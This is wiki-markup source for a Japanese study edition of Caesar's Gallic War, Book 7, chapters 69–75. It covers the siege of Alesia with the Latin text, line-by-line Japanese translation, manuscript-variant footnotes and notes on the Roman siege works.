*①　Ipsum erat oppidum [[w:la:Alesia|Alesia]] in colle summo admodum edito loco, 
**[[w:アレシア|アレスィア]]の&lt;ruby&gt;&lt;rb&gt;[[w:オッピドゥム|城塞都市]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;オッピドゥム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;そのものは、丘陵の頂きにおいて、ひときわ高い地点にあって、
*ut nisi obsidione expugnari non posse videretur. 
**攻囲（包囲）以外には攻略されることができないと思われた。
*②　Cuius collis radices duo duabus ex partibus flumina subluebant. 
**その丘陵のふもとを2つの方面から、2つの川が流れていた。
*③　Ante id&lt;ref&gt;id はα系写本の記述で、β系写本にはない。&lt;/ref&gt; oppidum planities circiter milia passuum Ⅲ(tria) in longitudinem patebat; 
**その城塞都市の前に、約3ローママイル（4.5km）の間隔で、平地が広がっていた。
*④　reliquis ex omnibus partibus colles mediocri interiecto spatio 
**ほかのすべての方面からは（いくつかの）丘陵が適度な空間を置いており、
*pari altitudinis fastigio oppidum cingebant. 
**同等の高さの頂上で（アレスィアの）城塞都市を取り巻いていた。
*⑤　Sub muro, quae pars collis ad orientem solem spectabat, 
**（アレスィアの）丘陵の日が昇る方（＝東方）へ面していた部分の城壁の下には、
*hunc omnem locum copiae Gallorum compleverant 
**このすべての場所を、ガッリア人たちの軍勢が満たしていて、
*fossamque et maceriam sex in altitudinem pedum praeduxerant. 
**堀、および高さ6[[w:ペース (長さ)|ペース]]（約1.8m）の防壁を前に引いていた。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：[[wikt:en:maceria|maceria]] は、軍事用語としては、立てこもるための城壁&lt;ref&gt;&lt;i&gt;muraille (pour se retrancher)&lt;/i&gt;（ラルース社の羅仏辞典 &lt;small&gt;“Dictionnaire MaxiPoche Plus latin-français et français-latin”&lt;/small&gt; を参照）&lt;/ref&gt;を指す。）&lt;/span&gt;
*⑥　Eius munitionis quae ab Romanis instituebatur circuitus XI&lt;ref&gt;XI はα系写本の記述で、β系写本では X となっている。&lt;/ref&gt; milia passuum tenebat. 
**ローマ人たちによって建てられようとしていた塁壁の周囲は、11ローママイル（約16km）を占めていた。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：α系写本では 11マイル＝約16km、β系写本では 10マイル＝約15km となっている。）&lt;/span&gt;
*⑦　Castra opportunis locis erant posita 
**（ローマ勢の）陣営は（戦略上）都合良い地点に設置されていて、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：歩兵・騎兵の陣営が計8か所に置かれていたようである。）&lt;/span&gt;
*ibique&lt;ref&gt;ibique はα系写本の記述で、β系写本では itemque となっている。&lt;/ref&gt; castella XXIII(viginti tria) facta, 
**同じく23基の砦が造られた。
*quibus in castellis interdiu stationes ponebantur, 
**それらの砦には、昼間は、歩哨たちが置かれて、
*ne qua subito eruptio fieret; 
**不意に何らかの突撃がなされないようにした。
*haec eadem noctu excubitoribus ac firmis praesidiis tenebantur.
**この同じところが、夜間は、寝ずの番兵および強力な守備隊により固守された。

===70節===
'''カエサル麾下のゲルマニア騎兵が、再びガッリア騎兵を虐殺'''
*①　Opere instituto 
**（ローマ人により）[[w:堡塁|堡塁]]が建てられだして、
*fit equestre proelium in ea planitie, 
**かの平地において[[w:騎兵|騎兵]]戦がなされた。
*quam intermissam collibus tria milia passuum in longitudinem patere supra demonstravimus. 
**それ（平地）は（周囲の）丘陵から3ローママイル（約4.5km）の間隔を空けて広がっていることを、[[#69節|前]]に述べた。
*Summa vi ab utrisque contenditur. 
**（騎兵戦は）双方の主力によって闘われた。
*②　Laborantibus nostris Caesar Germanos submittit 
**苦戦している我が方（ローマ騎兵）に対して、カエサルは[[w:ゲルマニア|ゲルマニア]]人（騎兵）を援けに派遣した。
*legionesque pro castris constituit, ne qua subito inruptio ab hostium peditatu fiat. 
**諸[[w:ローマ軍団|軍団]]を陣営の前に駐留させて、不意に何らかの突入が敵方の[[w:歩兵|歩兵隊]]によってなされないようにした。
*③　Praesidio legionum addito nostris animus augetur; 
**軍団の守備が加わって、我が方（ローマ勢の）勇気が増された。
*hostes in fugam coniecti se ipsi multitudine impediunt 
**敵方（の騎兵）は敗走に追いやられて、彼ら自身が自分たち（の敗走）を大勢であることにより妨げた。
*atque angustioribus portis relictis coacervantur&lt;ref&gt;coacervantur は近世の写本(ς)の記述で、α系写本では coacervati tum 、β系写本では coartantur となっている。&lt;/ref&gt;. 
**さらに（ガッリア陣地の）諸門がとても狭いままにしておかれたので（騎兵たちが）積み重ねられた。
*④　Germani acrius usque ad munitiones sequuntur. 
**ゲルマニア人（騎兵）たちは（ガッリア騎兵たちを）苛烈に、防塁のところまで追撃した。
*⑤　Fit magna caedes. 
**（こうして）大虐殺が起こった。
*Nonnulli relictis equis fossam transire et maceriam transcendere conantur. 
**（ガッリア騎兵の）幾人かは、馬を置き去りにして、堀を越えること、および防壁を登り越えることを試みた。
*Paulum legiones Caesar quas pro vallo constituerat promoveri iubet. 
**カエサルは、防柵の前に駐留させていた諸軍団に、いくらか前進することを命じた。
*⑥　Non minus qui intra munitiones erant perturbantur Galli: 
**防塁の内側にいたガッリア人たちも（騎兵たちに）劣らず狼狽した。
*veniri ad se confestim existimantes ad arma conclamant; 
**（ローマ勢により）自分たちのところへ直ちにやって来られると考えた者たちは、防具を取れと叫んだ。
*nonnulli perterriti in oppidum inrumpunt. 
**（ガッリア勢の）幾人かは、怖れおののいて（丘陵の頂きにある）城塞都市の中に押し入った。
*⑦　[[w:la:Vercingetorix|Vercingetorix]] iubet portas claudi, ne castra nudentur. 
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]は、陣営が無防備にされないように、（防塁の）諸門が閉じられることを命じた。
*Multis interfectis, compluribus equis captis Germani sese recipiunt.
**（ガッリア騎兵の）多くが殺戮され、おびただしい馬が捕獲されて、ゲルマニア人（騎兵）たちは退却した。

===71節===
[[画像:Statue_Vercingetorix_st_germain_en_laye.JPG|thumb|right|250px|[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]の立像（&lt;small&gt;パリ郊外の[[w:サン＝ジェルマン＝アン＝レー|サン＝ジェルマン＝アン＝レー]] [[w:fr:Saint-Germain-en-Laye|Saint-Germain-en-Laye]]&lt;/small&gt;）。[[w:アレシアの戦い|アレスィア古戦場]]（&lt;small&gt;現在のアリーズ＝サント＝レーヌ&lt;/small&gt;）にある巨大な銅像と同様に彫刻家エメ・ミレ（[[w:fr:Aimé Millet|Aimé Millet]]）によって建立された。]]
[[画像:Napoleon3.PNG|thumb|right|250px|ウジェーヌ・ストッフェル大佐（colonel Eugène Stoffel）をして[[w:アレシア|アレスィア]]およびゲルゴウィアの発掘調査をさせた立役者･皇帝[[w:ナポレオン3世|ナポレオン3世]]の肖像。[[w:ガリア起源説|ガッリア起源説]]により、王政に反感を持つフランスの共和派や庶民は、旧[[w:ブルボン家|ブルボン王朝]]を[[w:クロヴィス1世|クロヴィス]]や[[w:ユーグ・カペー|カペー]]にさかのぼるゲルマン系の[[w:フランク人|フランク人]]と見なし、自分たちのルーツを[[w:ケルト人|ケルト系]]の古代[[w:ガリア人|ガッリア人]]に求めた。ナポレオン3世はこのような国民の意識を利用して、[[w:ナショナリズム|ナショナリズム]]の高揚および帝政の基盤強化を図ったのである。]]

'''ウェルキンゲトリークスが援兵召集のため騎兵を放ち、籠城策を定める'''
*①　[[w:la:Vercingetorix|Vercingetorix]], priusquam munitiones ab Romanis perficiantur, 
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]は、ローマ人たちによって塁壁が完成されるより前に、
*consilium capit omnem ab se equitatum noctu dimittere. 
**自分のところから[[w:騎兵|騎兵隊]]のすべてを夜間に送り出すことを計画した。
*②　Discedentibus mandat 
**（アレスィアから）退去する（騎兵の）者たちに（以下のように）指図した。
*ut suam quisque eorum civitatem adeat 
**彼ら（騎兵）のおのおのが自らの部族に行くように、
*omnesque qui per aetatem arma ferre possint ad bellum cogant. 
**かつ、年齢により武器を手に取ることができる者たちの皆を戦争へ徴集するように、と。
*③　Sua in illos merita proponit obtestaturque 
**（ウェルキンゲトリークスは）彼ら（ガッリア人たち）における自分の功績に言及して（以下のように）懇願した。
*ut suae salutis rationem habeant 
**自分の身の安全を顧慮してくれるように、
*neu se optime de communi libertate meritum in cruciatum hostibus&lt;ref&gt;in cruciatum hostibus はβ系写本の記述で、α系写本では hostibus in cruciatum となっている。&lt;/ref&gt; dedant. 
**かつ（ガッリア）共通の自由について功績が最上である自分を、敵方の責め苦に渡すことがないように、と。
*Quod si indiligentiores fuerint, 
**ところが、もし（騎兵たちがウェルキンゲトリークスたちの安全に）無関心であったならば、
*milia hominum delecta octoginta una secum interitura demonstrat. 
**選りすぐりの兵員8万名が自分と一緒に滅びるであろう、と明言した。
*④　Ratione inita frumentum se exigue dierum XXX(triginta) habere&lt;ref&gt;frumentum ～ habere はβ系写本の記述で、χ系･φ系あるいはモイゼル H. Meusel の修正提案など、写本や校訂者により語順が異なっていたり、単語が欠けていたりする。&lt;/ref&gt;, 
**見積もったところ、自分たちはわずかに30日分の穀物を保有しているが、
*sed paulo etiam longius tolerari posse parcendo. 
**しかし節約することにより、なおいくらか長く耐え忍ぶことができる、と。
*⑤　His datis mandatis, 
**これらの指図を与えてから、
*qua erat nostrum opus&lt;ref&gt;erat nostrum opus はβ系写本の記述で、α系写本では単に opus erat となっている。&lt;/ref&gt; intermissum, secunda vigilia silentio equitatum mittit&lt;ref&gt;mittit はχ系･B･M･S写本の記述で、β系写本では dimittit となっている。&lt;/ref&gt;. 
**我が方（ローマ勢）の構築物が中断しているところから、第二夜警時に静けさのうちに、騎兵隊を送り出した。
*⑥　Frumentum omne ad se referri iubet, 
**穀物をすべて自分のところへ運んで来ることを命じて、
*capitis poenam iis qui non paruerint constituit; 
**服従しなかった者たちを極刑に処すと決めた。
*⑦　pecus, cuius magna erat copia a Mandubiis&lt;ref&gt;a Mandubiis はβ系写本の記述で、α系写本では ab Manduviis となっている。&lt;/ref&gt; compulsa, viritim distribuit; 
**家畜は、マンドゥビイ族によって大量に集められていたが、個々に分配した。
*frumentum parce et paulatim metiri instituit; 
**穀物を節約して少しずつ量り分けることを定めた。
*⑧　copias omnes quas pro oppido collocaverat in oppidum recepit. 
**&lt;ruby&gt;&lt;rb&gt;[[w:オッピドゥム|城塞都市]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;オッピドゥム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の前に駐留させていた（歩兵の）軍勢すべてを城塞都市の中に退却させた。
*⑨　His rationibus auxilia Galliae exspectare et bellum parat administrare&lt;ref&gt;parat administrare はα系写本の記述で、β系写本では administrare parat となっている。&lt;/ref&gt;.
**これらの手段により、ガッリア（諸部族）の援軍を待つこと、および戦争を指導しようとしたのである。

===72節===
'''カエサルが、より大掛かりな攻囲陣地を構築する'''
*①　Quibus rebus cognitis&lt;ref&gt;cognitis がこの位置にあるのはα系写本の記述で、β系写本では captivis の後となっている。&lt;/ref&gt; ex perfugis et captivis 
**それらの事情を脱走兵たちや捕虜たちから知って、
*Caesar haec genera munitionis instituit. 
**カエサルは以下の類いの塁壁工事に取りかかった。
&lt;br&gt;

*'''前線の切り立った空堀'''
*Fossam pedum XX(viginti) derectis lateribus duxit, 
**20[[w:ペース (長さ)|ペース]]（約6m）の（幅の）垂直な側面の堀を引いた。
*ut eius fossae&lt;ref&gt;fossae がこの位置にあるのはβ系写本の記述で、α系写本では summa(e) の後になっている。&lt;/ref&gt; solum tantundem pateret, quantum summa&lt;ref&gt;summa はβ系写本の記述で、α系写本では summae となっている。&lt;/ref&gt; labra distarent&lt;ref&gt;distarent はα系写本の記述で、β系写本では distabant となっている。&lt;/ref&gt;. 
**その堀（の底）は、頂きの縁が離れているのとちょうど同じ分だけ広がるようにした。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：上辺と底の幅が等間隔になるような切り立った空堀にした。）&lt;/span&gt;
*②　Reliquas omnes munitiones ab ea fossa pedes&lt;ref&gt;pedes はα系写本の記述で、β系写本では pedibus となっている。&lt;/ref&gt; CCCC(quadringentos) reduxit. 
**ほかのすべての塁壁は、その堀から400ペース（約120m）後ろに引いた。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：写本にあるこの数字は、19世紀のウジェーヌ・ストッフェル大佐（colonel Eugène Stoffel）の&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;発掘調査によって400[[w:パッスス|パッスス]]（約600m）と修正された。この堀は、アレスィアの西方に引かれたと思われる。）&lt;/span&gt;
*Id hoc consilio, 
**それは、以下の考えによる。
*quoniam tantum spatium necessario esset&lt;ref&gt;spatium necessario esset はβ系写本の記述で、α系写本では esset necessario spatio となっている。&lt;/ref&gt; complexus 
**これほどの空間が包囲されなければならないのであるから、
*nec facile totum corpus&lt;ref&gt;corpus はα系写本の記述で、β系写本では opus となっており、ρ系写本にはない。&lt;/ref&gt; corona militum cingeretur, 
**すべての包囲作業が兵士たちの&lt;ruby&gt;&lt;rb&gt;哨兵線&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;コロナ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;で取り囲まれるのは容易ではない。
*ne de improviso aut noctu ad munitiones hostium multitudo&lt;ref&gt;hostium multitudo はα系写本の記述で、β系写本では multitudo hostium となっている。&lt;/ref&gt; advolaret 
**不意に、あるいは夜間に、敵方の大勢が（ローマ側の）塁壁へ突進することがないように、
*aut interdiu tela in nostros operi destinatos conicere possent&lt;ref&gt;possent はα系写本の記述で、β系写本では posset となっている。&lt;/ref&gt;. 
**あるいは日中に、工事中の我が方（ローマ勢）に飛道具が投げ付けられることができないように。
&lt;br&gt;

[[画像:Fosse.Saint.Pierre.en.Chastres.png|thumb|right|300px|二重の堀およびその背後の堡塁（土塁と障壁・櫓）の模式図（[[w:ウジェーヌ・エマニュエル・ヴィオレ・ル・デュク|ヴィオレ＝ル＝デュク]]著『中世フランス建築体系辞典』[[s:fr:Dictionnaire raisonné de l’architecture française du XIe au XVIe siècle - Tome 5, Fossé|(s)]]より）。]]
[[画像:AlesiaFortifications.JPG|thumb|right|300px|[[w:アレシアの戦い|アレスィア古戦場]]跡に再現された、二重の堀およびその背後の堡塁（土塁と鹿柴、胸壁・鋸壁、櫓）。]]

*'''二重の堀'''
*③　Hoc intermisso spatio 
**この空間をあけて、
*duas fossas XV(quindecim) pedes latas eadem altitudine perduxit; 
**15ペース（約4.5m）の幅の2つの堀を、同じ深さ（15ペース）で張り巡らせた。
*quarum interiorem campestribus ac demissis locis 
**それらの内側（の堀）の平地で低く下がった所には、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：内側の堀とは、アレスィアに近い東側の堀と考えられている。）&lt;/span&gt;
*aqua ex flumine derivata complevit. 
**川から導かれた水で満たした。
&lt;br&gt;

*'''土塁と防柵、胸壁と鋸壁、鹿柴、櫓'''
*④　Post eas aggerem ac vallum XII(duodecim) pedum exstruxit. 
**それらの後ろには、12ペース（約3.6mの高さ）の&lt;ruby&gt;&lt;rb&gt;[[w:土塁|土塁]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;アッゲル&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;と&lt;ruby&gt;&lt;rb&gt;防柵&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ウァッルム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を築き上げた。
*Huic loricam pinnasque adiecit 
**これに&lt;ruby&gt;&lt;rb&gt;胸壁&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ロリカ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;と&lt;ruby&gt;&lt;rb&gt;鋸壁&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ピンナ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を付け加えて、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：胸壁と鋸壁とは、[[ガリア戦記 第5巻#40節|第5巻40節]]で既出のように、凹凸形に編み込まれた柴の壁）&lt;/span&gt;
*grandibus cervis eminentibus ad commissuras pluteorum atque aggeris, 
**障壁と土塁の接合部の辺りに大きな&lt;ruby&gt;&lt;rb&gt;鹿柴&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ケルウス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を突き出させて、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：&lt;ruby&gt;&lt;rb&gt;鹿柴&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ろくさい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;（鹿砦または&lt;ruby&gt;&lt;rb&gt;逆茂木&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;さかもぎ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;）とは、鹿の角のように枝分かれした杭や枝を逆立てた杭囲い。&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;障壁とは、防柵の前に取り付けられた胸壁と鋸壁の総称であろう。）&lt;/span&gt;
*qui ascensum hostium tardarent, 
**敵方が登って来るのを妨げようとした。
*et turres toto opere circumdedit, quae pedes LXXX(octoginta) inter se distarent.
**構築物の全体を、互いに80ペース（約24m）離れて立つ櫓で取り巻いた。

===73節===
'''カエサルは、攻囲陣地をさらに障害物で補強する'''
*①　Erat eodem tempore et materiari et frumentari et tantas munitiones fieri necesse 
**材木収集と糧食徴発、およびこれほどの塁壁工事がなされることが、同時に必要であった。
*deminutis nostris copiis, quae longius ab&lt;ref&gt;ab はα系写本の記述で、β系写本では a となっている。&lt;/ref&gt; castris progrediebantur. 
**我が方の軍勢（ローマ勢）は減じており、陣営からはるか遠くに進み出ていた。
*Ac nonnumquam opera nostra Galli temptare 
**いくたびか、我が方の構築物に、ガッリア人が攻撃すること（を試み）、
*atque eruptionem ex oppido pluribus portis summa vi facere conabantur. 
**かつ、&lt;ruby&gt;&lt;rb&gt;[[w:オッピドゥム|城塞都市]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;オッピドゥム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の多くの門から、主力でもって出撃することを試みた。
*②　Quare ad haec rursus opera addendum Caesar putavit, 
**そのゆえに、この構築物へさらに（以下の障害物が）付け加えられるべきだとカエサルは考えた。
*quo minore numero militum munitiones defendi possent. 
**それによって、より少ない数の兵士で塁壁が防衛されることができるように、と。
[[画像:Archeodrome_Beaune_8.jpg|thumb|right|300px|[[w:アレシアの戦い|アレスィア古戦場]]跡に再現された攻囲陣地（上の画像と同じ物）。堡塁（土塁と障壁と櫓）の前の平地に、樹枝が突き出た「尖り杭」（奥）と落とし穴を枝で覆った「百合」（手前）が見える。]]
[[画像:Trous.de.loup.png|thumb|right|300px|サイコロの五つ目状に並べられた落とし穴「百合」（lilium）の模式図（[[w:ウジェーヌ・エマニュエル・ヴィオレ・ル・デュク|ヴィオレ＝ル＝デュク]]著『中世フランス建築体系辞典』[[s:fr:Dictionnaire raisonné de l’architecture française du XIe au XVIe siècle - Tome 5, Fossé|(s)]]より）。図の上部が五つ目状の配列を、図の下部が落とし穴の断面図を示す。この断面図では、尖らされた樹幹の先端が、傾斜した穴の突き固められた底から4本指ほど突き出ていると解釈しているようである。カエサルの記述からは、地表から突き出ているとも解釈できる。]]
[[画像:Aiguillon.png|thumb|right|200px|鉄の鉤が固定された杭「刺」の模式図（[[w:ウジェーヌ・エマニュエル・ヴィオレ・ル・デュク|ヴィオレ＝ル＝デュク]]著『中世フランス建築体系辞典』[[s:fr:Dictionnaire raisonné de l’architecture française du XIe au XVIe siècle - Tome 5, Fossé|(s)]]より）。]]
[[画像:Archeodrome_Beaune_2.jpg|thumb|right|300px|[[w:アレシアの戦い|アレスィア古戦場]]跡に再現された攻囲陣地（上の画像と同じ物）。いちばん手前に「刺」が再現されている。]]
:　
'''尖り杭'''
*Itaque truncis arborum aut admodum firmis ramis abscisis 
**こうして、樹木の幹、あるいは非常に強固な枝が切り取られて、
*atque horum delibratis ac praeacutis cacuminibus 
**これらの皮がむかれて、&lt;ruby&gt;&lt;rb&gt;梢&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;こずえ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;が&lt;ruby&gt;&lt;rb&gt;尖&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;とが&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;らされて、
*perpetuae fossae quinos pedes altae ducebantur. 
**5[[w:ペース (長さ)|ペース]]（約1.5m）ずつの連続した堀が引かれた。
*③　Huc illi stipites demissi 
**ここに、あの樹幹が沈められて、
*et ab infimo revincti, ne revelli possent, ab ramis eminebant. 
**底から固くしばられて、はぎ取ることができないようにして、枝から（地上に）突き出るようにしていた。
*④　Quini erant ordines coniuncti inter se atque implicati; 
**5列ずつが、互いにつなげられて、結び合わされた。
*quo qui intraverant se ipsi acutissimis vallis induebant. 
**そこに踏み込んだ者は、自身が自らをきわめて鋭い杭に陥れた。
*Hos cippos appellabant. 
**（将兵たちは）これらを&lt;ruby&gt;&lt;rb&gt;尖り杭&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;キップス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;と呼んだ。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：[[wikt:en:cippus|cippus]]「尖り杭」は「墓標」とも訳されるが、後者は古典期以降のラテン語で長方形の墓碑を指す&lt;ref&gt;&lt;small&gt;POSTCLASSIQUE&lt;/small&gt; &lt;i&gt;[[w:fr:Cippe|cippe]] (colonne funéraire rectangulaire)&lt;/i&gt;（ラルース社の羅仏辞典 &lt;small&gt;“Dictionnaire MaxiPoche Plus latin-français et français-latin”&lt;/small&gt; を参照）&lt;/ref&gt;。）&lt;/span&gt;
:　
'''百合'''
*⑤　Ante&lt;ref&gt;ante はβ系写本の記述で、α系写本にはない。&lt;/ref&gt; quos&lt;ref&gt;quos はα系写本の記述で、β系写本では hos となっている。&lt;/ref&gt; obliquis ordinibus in quincuncem dispositis 
**それらの前に、（サイコロの）&lt;ruby&gt;&lt;rb&gt;五つ目状&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;クィンクンクス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に斜めの列に配置されて、
*scrobes tres in altitudinem pedes fodiebantur 
**深さ3ペース（約90cm）の穴が掘られた。
*paulatim angustiore ad infimum fastigio. 
**しだいに、より狭く、底の方へ傾斜を付けて。
*⑥　Huc teretes stipites [[w:la:Femur|feminis]] crassitudine 
**ここに、太ももの厚さの丸みを帯びた樹幹が
*ab summo praeacuti et praeusti demittebantur, 
**先端から尖らせられ、焦がされて（穴の底に）突き刺された。
*ita ut non amplius digitis quattuor ex terra&lt;ref&gt;ex terra はα系写本の記述で、V･ρ系写本では e terra 、T写本では contra となっている。&lt;/ref&gt; eminerent; 
**4本の指より長くないほど地中から突き出るように。
*⑦　simul confirmandi et stabiliendi causa 
**同時に、強固にして固定するために、
*singuli ab infimo solo pedes terra exculcabantur; 
**それぞれ底から1ペース（約30cm）だけ土で突き固められた。
*reliqua pars scrobis ad occultandas insidias viminibus ac virgultis integebatur. 
**穴の残りの部分は、わなを隠すために、柳の細枝や若枝で覆われた。
*⑧　Huius generis octoni ordines ducti ternos inter se pedes distabant. 
**この類いを、8列ずつ、3ペース（約90cm）ずつ互いに離して、作った。
*Id ex similitudine floris lilium appellabant. 
**（将兵たちは）それを花との類似から、&lt;ruby&gt;&lt;rb&gt;[[w:ユリ|百合]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;リリウム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;と呼んだ。
:　
'''刺'''
*⑨　Ante haec taleae pedem longae ferreis hamis infixis totae in terram infodiebantur 
**これらの前に、鉄製の鉤が打ち込まれた長さ1ペース（約30cm）の棒の全体が地中に埋め込まれた。
*mediocribusque intermissis spatiis omnibus locis disserebantur, 
**適度な空間を間にあけて、至る所に配置された。
*quos stimulos nominabant.
**（将兵たちは）それらを刺と呼んだ。
{| class=&quot;wikitable&quot;
|-
! colspan=&quot;2&quot; | [[w:la:Obsidio Alesiae|Obsidio Alesiae]]
|-
| style=&quot;vertical-align:top; text-align:left; width:35em;&quot; |[[画像:Fortificazioni alesia png.png|thumb|left|500px|[[w:アレシアの戦い|アレシアの戦い]]における攻囲陣地の構成（図の説明はイタリア語）。]]
|}

===74節===
'''ガッリア人の来援に備えて、外周にも同様の塁壁を張り巡らす'''
*①　His rebus perfectis 
**これらの物が造り上げられると、
*regiones secutus quam potuit aequissimas pro loci natura 
**地勢に応じて、できるかぎり好都合な地帯を探し求めて、
*XIIII(quattuordecim) milia passuum complexus 
**14ローママイル（約21km）を取り巻いて、
*pares eiusdem generis munitiones, 
**（内周の塁壁と規模が）匹敵する同じ類いの塁壁を
*diversas ab his, contra exteriorem hostem perfecit, 
**これら（内周）に対置させて、外側の敵に対抗して造り上げた。
*ut ne magna quidem multitudine, si ita accidat equitatus&lt;ref&gt;equitatus はシェーラー（Schoeller）による修正提案で、写本(ω)では eius であるが、近代の校訂者たちにより修正提案がなされている。&lt;/ref&gt; discessu, 
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:ne quidem|ne ～ quidem]]「～でさえ…ない」）&lt;/span&gt;
**もし[[w:騎兵|騎兵隊]]の退去によりこのようなこと（外敵との遭遇）が生じても、決して大軍により
*munitionum praesidia circumfundi possent; 
**塁壁の守備隊が包囲されることができないように。
*②　&lt;ne&gt; autem&lt;ref&gt;ne autem は近代の校訂者による修正提案で、α系･π系写本では aut、ρ系写本では ut となっている。&lt;/ref&gt; cum periculo ex castris egredi cogatur, 
**（ローマ勢が）危険を伴って陣営から進発することを強いられることもないように、
*dierum XXX(triginta) pabulum frumentumque habere omnes convectum iubet.
**30日分の[[w:糧秣|秣(まぐさ)や穀物]]を運び集めて保持することを皆に命じた。

===75節===
'''ガッリア同盟が各部族に動員を要請する'''
*①　Dum haec apud&lt;ref&gt;apud はα系写本の記述で、β系写本では ad となっている。&lt;/ref&gt; [[w:la:Alesia|Alesiam]] geruntur, 
**これらが[[w:アレシア|アレスィア]]のもとで遂行されている間に、
*Galli concilio principum indicto 
**ガッリア人たちは、領袖たちの会合を課して、
*non omnes hos&lt;ref&gt;omnes hos はα系写本の記述で、β系写本では単に omnes となっている。&lt;/ref&gt; qui arma ferre possent, ut censuit [[w:la:Vercingetorix|Vercingetorix]], convocandos statuunt, 
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]が見積もったように武器を扱える者たち皆を召集するべき、ではないと判断した。
*sed certum numerum cuique ex civitate&lt;ref&gt;ex civitate はα系写本の記述で、β系写本では civitati となっている。&lt;/ref&gt; imperandum, 
**けれども、おのおのの部族から一定の兵数（の供出）を命令すること（を決めた）。
*ne tanta multitudine confusa nec moderari nec discernere suos nec frumentandi rationem&lt;ref&gt;frumentandi rationem はT･U･R写本などの記述で、V･U写本などでは frumenti rationem となっている。&lt;/ref&gt; habere possent. 
**これほどの大軍で混乱したり、味方を指揮できなかったり判別できなかったり、ということがないように。
*②　Imperant [[w:la:Haedui|Haeduis]] atque eorum clientibus, Segusiavis, Ambivaretis, Aulercis Brannovicibus, Blannoviis, milia XXXV(triginta quinque); 
**[[w:ハエドゥイ族|ハエドゥイー族]]とその庇護民であるセグスィアウィ族、アンビウァレティ族、アウレルキ・ブランノウィケス族、ブランノウィイ族に3万5千名を命令した。
*parem numerum Arvernis adiunctis Eleutetis, Cadurcis, Gabalis, Vellaviis, 
**[[w:アルウェルニ族|アルウェルニー族]]に隣接しているエレウテティ族、カドゥルキー族、ガバリ族、ウェッラウィイ族に同等の兵数。
*qui sub imperio Arvernorum esse consuerunt; 
**彼らはアルウェルニー族の支配下にいるのが常であった。
*③　Sequanis, Senonibus, Biturigibus, Santonis, Rutenis, Carnutibus duodena milia; 
**セクアニ族、セノネース族、ビトゥリゲース族、サントネス族、ルテーニー族、カルヌーテース族には1万2千ずつ。
*Bellovacis X(decem); totidem Lemovicibus; 
**ベッロウァキ族に1万。レモウィケス族に同じだけ多く（1万）。
*octona Pictonibus et Turonis et Parisiis et Helvetiis; 
**ピクトネス族とトゥロニ族とパリスィイ族と[[w:ヘルウェティイ族|ヘルウェティイ族]]に8(千)ずつ。
*Senonibus&lt;ref&gt;Senonibus は写本(ω)にある記述だが、sen&lt;a Suessi&gt;onibus「6(千)ずつをスエッスィオニス族…に」などさまざまな修正提案がなされている。&lt;/ref&gt;, Ambianis, Mediomatricis, Petrocoriis, Nerviis, Morinis, Nitiobrogibus quina milia; 
**セノネース族、アンビアニ族、メディオマトリキ族、ペトロコリイ族、ネルウィイ族、モリニ族、ニティオブロゲス族に5千ずつ。
